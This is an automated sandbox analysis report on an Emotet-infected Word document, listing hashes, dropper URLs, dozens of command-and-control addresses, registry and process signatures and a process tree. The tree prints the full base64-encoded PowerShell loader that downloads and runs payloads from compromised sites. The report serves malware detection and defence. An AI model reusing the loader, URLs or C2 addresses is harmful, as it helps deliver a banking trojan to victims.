emotet | 12b453d0ec73dadcc6afb7329b9337c0c571ad9151436892d9d57af1ff00a130

Analysis

max time kernel
136s
max time network
135s
platform
windows10_x64
resource
win10v200722
submitted
01/10/2020, 11:30

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General

Target
emotet_e1_12b453d0ec73dadcc6afb7329b9337c0c571ad9151436892d9d57af1ff00a130_2020-10-01__112651818174._doc.doc
Size 151KB
Sample201001-xdl4852sa6
SHA256 12b453d0ec73dadcc6afb7329b9337c0c571ad9151436892d9d57af1ff00a130
MD5 512173606de68e3e5244cb97831f5066
SHA1 0ee09f4a462f158a78a2d331ed07366563dc5d8b
SHA512 5726350a9b99d8ed03e8516cada2ade928681be97988d7c4826295602e66ed7a8ccb8c3cc11fb928073c18a27ddb6f22658cb4d6a7b71924a111b532cdaeb91c
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://blog.zunapro.com/wp-admin/i/
exe.dropper
http://brycebrumley.com/wp-admin/IR/
exe.dropper
http://electronicsvibes.com/wp-includes/A9n/
exe.dropper
http://ashgroup.org/wp-snapshots/Ap/
exe.dropper
https://beu-hr.com/9gqqi5eat/K2y/
exe.dropper
https://manhtien.net/wp-includes/Tw3/
exe.dropper
http://pattanitkpark.com/gipe2h/BIY/

Extracted

Family

emotet

202.22.141.45:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
82.76.111.249:443
216.47.196.104:80
192.241.143.52:8080
192.81.38.31:80
87.106.253.248:8080
64.201.88.132:80
192.241.146.84:8080
12.162.84.2:8080
1.226.84.243:8080
177.129.17.170:443
202.134.4.210:7080
70.169.17.134:80
152.169.22.67:80
5.196.35.138:7080
138.97.60.141:7080
203.205.28.68:80
83.169.21.32:7080
191.182.6.118:80
190.188.245.242:80
62.84.75.50:80
181.74.0.251:80
189.2.177.210:443
111.67.12.221:8080
188.135.15.49:80
217.13.106.14:8080
68.183.190.199:8080
178.250.54.208:8080
189.35.44.221:80
201.213.177.139:80
137.74.106.111:7080
177.73.0.98:443
70.32.84.74:8080
51.15.7.145:80
177.74.228.34:80
185.94.252.27:443
50.121.220.50:80
186.70.127.199:8090
85.214.26.7:8080
181.129.96.162:8080
70.32.115.157:8080
82.230.1.24:80
60.93.23.51:80
213.197.182.158:8080
149.202.72.142:7080
190.115.18.139:8080
72.167.223.217:8080
190.24.243.186:80
109.169.12.78:80
94.176.234.118:443
185.232.182.218:80
219.92.13.25:80
209.236.123.42:8080
119.106.216.84:80
51.255.165.160:8080
51.75.33.127:80
51.15.7.189:80
61.197.92.216:80
5.189.178.202:8080
172.104.169.32:8080
45.33.77.42:8080
98.13.75.196:80
74.58.215.226:80
68.183.170.114:8080
155.186.0.121:80
190.117.79.209:80
128.92.203.42:80
202.4.58.197:80
70.116.143.84:80
77.238.212.227:80
67.247.242.247:80
12.163.208.58:80
212.71.237.140:8080
46.43.2.95:8080
96.227.52.8:443
186.103.141.250:443
185.94.252.12:80
104.131.41.185:8080
45.46.37.97:80
95.9.180.128:80
87.106.46.107:8080
50.28.51.143:8080
65.36.62.20:80
35.143.99.174:80
51.38.124.206:80
185.183.16.47:80
181.30.61.163:443
170.81.48.2:80
74.136.144.133:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3644	4016	POwersheLL.exe	72

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/860-13-0x0000000000640000-0x0000000000652000-memory.dmp	emotet
behavioral2/memory/860-14-0x0000000000660000-0x0000000000670000-memory.dmp	emotet
behavioral2/memory/2296-17-0x00000000004F0000-0x0000000000502000-memory.dmp	emotet
behavioral2/memory/2296-18-0x0000000000510000-0x0000000000520000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
15	3644	POwersheLL.exe
17	3644	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
860	V48gx0a.exe
2296	EhStorAPI.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\dimsroam\EhStorAPI.exe	V48gx0a.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
864	WINWORD.EXE
864	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3644	POwersheLL.exe
3644	POwersheLL.exe
3644	POwersheLL.exe
2296	EhStorAPI.exe
2296	EhStorAPI.exe
2296	EhStorAPI.exe
2296	EhStorAPI.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3644	POwersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
864	WINWORD.EXE
864	WINWORD.EXE
864	WINWORD.EXE
864	WINWORD.EXE
864	WINWORD.EXE
864	WINWORD.EXE
864	WINWORD.EXE
864	WINWORD.EXE
864	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3644 wrote to memory of 860	3644	POwersheLL.exe	77
PID 3644 wrote to memory of 860	3644	POwersheLL.exe	77
PID 3644 wrote to memory of 860	3644	POwersheLL.exe	77
PID 860 wrote to memory of 2296	860	V48gx0a.exe	79
PID 860 wrote to memory of 2296	860	V48gx0a.exe	79
PID 860 wrote to memory of 2296	860	V48gx0a.exe	79

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_12b453d0ec73dadcc6afb7329b9337c0c571ad9151436892d9d57af1ff00a130_2020-10-01__112651818174._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:864

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABGAHgAawB6AHoAYwBhAD0AKAAnAFgAMQAnACsAJwBpACcAKwAoACcAdQAnACsAJwAxADQAawAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAcgBwAFIATwBGAEkAbABlAFwAbAA0AHoAMgBSAHYAXwBcAHcAbgB4AFUAegBoAFkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAHUAcgBpAFQAYABZAGAAcABSAGAAbwBUAE8AYABjAE8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzACcAKQArACgAJwAxADIALAAnACsAJwAgAHQAbABzACcAKwAnADEAMQAsACcAKwAnACAAJwApACsAJwB0AGwAJwArACcAcwAnACkAOwAkAFYAcgBxAHcAdABrAGUAIAA9ACAAKAAnAFYANAAnACsAKAAnADgAJwArACcAZwB4ACcAKQArACcAMABhACcAKQA7ACQAQgA2ADAAaQBqAHIAYQA9ACgAKAAnAFUAOQAnACsAJwBvACcAKQArACgAJwA4ACcAKwAnAF8AcQAnACkAKwAnADMAJwApADsAJABOAGIAbgA0AHcAOABiAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAZAAnACsAJwBXADcAJwApACsAKAAnAEwANAAnACsAJwB6ADIAcgAnACkAKwAnAHYAXwAnACsAKAAnAGQAVwAnACsAJwA3AFcAbgB4ACcAKQArACgAJwB1AHoAaAB5AGQAVwAnACsAJwA3ACcAKQApAC4AIgByAGUAUABsAGAAQQBjAEUAIgAoACgAJwBkAFcAJwArACcANwAnACkALABbAHMAVABSAEkATgBHAF0AWwBjAEgAYQByAF0AOQAyACkAKQArACQAVgByAHEAdwB0AGsAZQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAVQA3ADUAMwBtAHAANAA9ACgAKAAnAEMAaQAxACcAKwAnADcAawAnACkAKwAnAHMANgAnACkAOwAkAFYAOABlADUAMgBiADcAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAYwBsAEkARQBOAFQAOwAkAFIAOQBwAGIAYQBnAG8APQAoACgAJwBoAHQAJwArACcAdABwADoAJwApACsAJwAvACcAKwAoACcALwBiAGwAJwArACcAbwBnACcAKwAnAC4AegAnACkAKwAoACcAdQAnACsAJwBuAGEAcAByAG8ALgAnACkAKwAoACcAYwBvAG0ALwB3AHAAJwArACcALQAnACkAKwAoACcAYQBkAG0AaQAnACsAJwBuAC8AJwArACcAaQAvACoAJwApACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AYgByAHkAJwArACcAYwAnACkAKwAnAGUAYgAnACsAKAAnAHIAdQBtAGwAJwArACcAZQB5AC4AYwBvACcAKwAnAG0ALwAnACsAJwB3AHAALQBhAGQAJwApACsAKAAnAG0AJwArACcAaQBuAC8ASQBSAC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAcAAnACsAJwA6AC8ALwBlAGwAJwApACsAKAAnAGUAYwAnACsAJwB0AHIAJwApACsAKAAnAG8AbgBpAGMAJwArACcAcwB2ACcAKQArACgAJwBpAGIAZQBzAC4AJwArACcAYwBvAG0ALwAnACsAJwB3AHAALQBpAG4AYwAnACsAJwBsACcAKwAnAHUAZABlAHMAJwArACcALwAnACkAKwAoACcAQQA5AG4ALwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AYQAnACsAJwBzAGgAZwByACcAKwAnAG8AdQBwACcAKQArACgAJwAuACcAKwAnAG8AcgBnACcAKQArACcALwB3ACcAKwAoACcAcAAtAHMAbgAnACsAJwBhAHAAJwApACsAKAAnAHMAaABvACcAKwAnAHQAJwApACsAKAAnAHMALwBBAHAAJwArACcALwAnACkAKwAnACoAJwArACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAAnACsAJwBzADoALwAvAGIAZQB1ACcAKQArACcALQAnACsAKAAnAGgAJwArACcAcgAuAGMAbwBtACcAKwAnAC8AOQBnAHEAJwArACcAcQBpACcAKQArACcANQAnACsAKAAnAGUAJwArACcAYQB0AC8AJwApACsAKAAnAEsAJwArACcAMgB5AC8AJwArACcAKgBoAHQAdAAnACkAKwAnAHAAJwArACgAJwBzADoALwAnACsAJwAvAG0AYQAnACkAKwAoACcAbgBoAHQAJwArACcAaQBlAG4AJwArACcALgBuACcAKQArACgAJwBlAHQALwB3ACcAKwAnAHAALQBpAG4AYwBsACcAKwAnAHUAZABlACcAKwAnAHMALwBUACcAKwAnAHcAMwAnACsAJwAvACcAKQArACcAKgAnACsAJwBoAHQAJwArACgAJwB0AHAAOgAvAC8AJwArACcAcABhAHQAdABhAG4AJwArACcAaQB0ACcAKQArACcAawAnACsAKAAnAHAAYQAnACsAJwByAGsALgAnACkAKwAoACcAYwBvAG0ALwBnACcAKwAnAGkAJwApACsAKAAnAHAAZQAyACcAKwAnAGgAJwApACsAJwAvACcAKwAnAEIAJwArACgAJwBJAFkAJwArACcALwAnACkAKQAuACIAcwBwAEwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAG0AdwA1AGQAMwB0AD0AKAAoACcAUwAnACsAJwB3ACcAKwAnADMANABvAG8AJwApACsAJwBwACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFIAMABqAG0AMABsAHoAIABpAG4AIAAkAFIAOQBwAGIAYQBnAG8AKQB7AHQAcgB5AHsAJABWADgAZQA1ADIAYgA3AC4AIgBEAG8AdwBuAGwAbwBgAEEAYABkAGYAYABJAEwARQAiACgAJABSADAAagBtADAAbAB6ACwAIAAkAE4AYgBuADQAdwA4AGIAKQA7ACQAQgB0AG8AMgBlAGoAdwA9ACgAKAAnAEEAJwArACcAOABmACcAKQArACgAJwBiACcAKwAnADMAZQAnACkAKwAnAG0AJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAE4AYgBuADQAdwA4AGIAKQAuACIAbABgAGUAbgBHAHQAaAAiACAALQBnAGUAIAAyADUANwA3ADUAKQAgAHsALgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQATgBiAG4ANAB3ADgAYgApADsAJABEAGwAeQA1ADkAagBfAD0AKAAoACcASwAnACsAJwBjADEAeQAnACkAKwAoACcAYQAnACsAJwB4AHoAJwApACkAOwBiAHIAZQBhAGsAOwAkAEkANQAyAGQAZQBlAG0APQAoACcAWgAnACsAKAAnADQAaAB4ACcAKwAnAHIAegAnACkAKwAnAHUAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNADEAagBkADIAdgBlAD0AKAAoACcASwBvADIAJwArACcAaAA4ACcAKQArACcAXwBhACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3644
- C:\Users\Admin\L4z2rv_\Wnxuzhy\V48gx0a.exe
  "C:\Users\Admin\L4z2rv_\Wnxuzhy\V48gx0a.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:860
- - C:\Windows\SysWOW64\dimsroam\EhStorAPI.exe
    "C:\Windows\SysWOW64\dimsroam\EhStorAPI.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2296

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/860-14-0x0000000000660000-0x0000000000670000-memory.dmp

Download

memory/860-13-0x0000000000640000-0x0000000000652000-memory.dmp

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memory/864-4-0x00000271E747D000-0x00000271E747E000-memory.dmp

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memory/864-6-0x00000271E747E000-0x00000271E748F000-memory.dmp

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memory/864-5-0x00000271E747E000-0x00000271E748F000-memory.dmp

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memory/864-0-0x00007FF916600000-0x00007FF916CC6000-memory.dmp

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memory/864-3-0x00000271E747E000-0x00000271E748F000-memory.dmp

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memory/864-2-0x00000271E747E000-0x00000271E748F000-memory.dmp

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memory/864-1-0x00000271E752A000-0x00000271E753B000-memory.dmp

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memory/2296-17-0x00000000004F0000-0x0000000000502000-memory.dmp

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memory/2296-18-0x0000000000510000-0x0000000000520000-memory.dmp

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memory/3644-7-0x00007FF90F350000-0x00007FF90FD3C000-memory.dmp

Download

memory/3644-8-0x00000213D6570000-0x00000213D6571000-memory.dmp

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memory/3644-9-0x00000213EE8A0000-0x00000213EE8A1000-memory.dmp

Download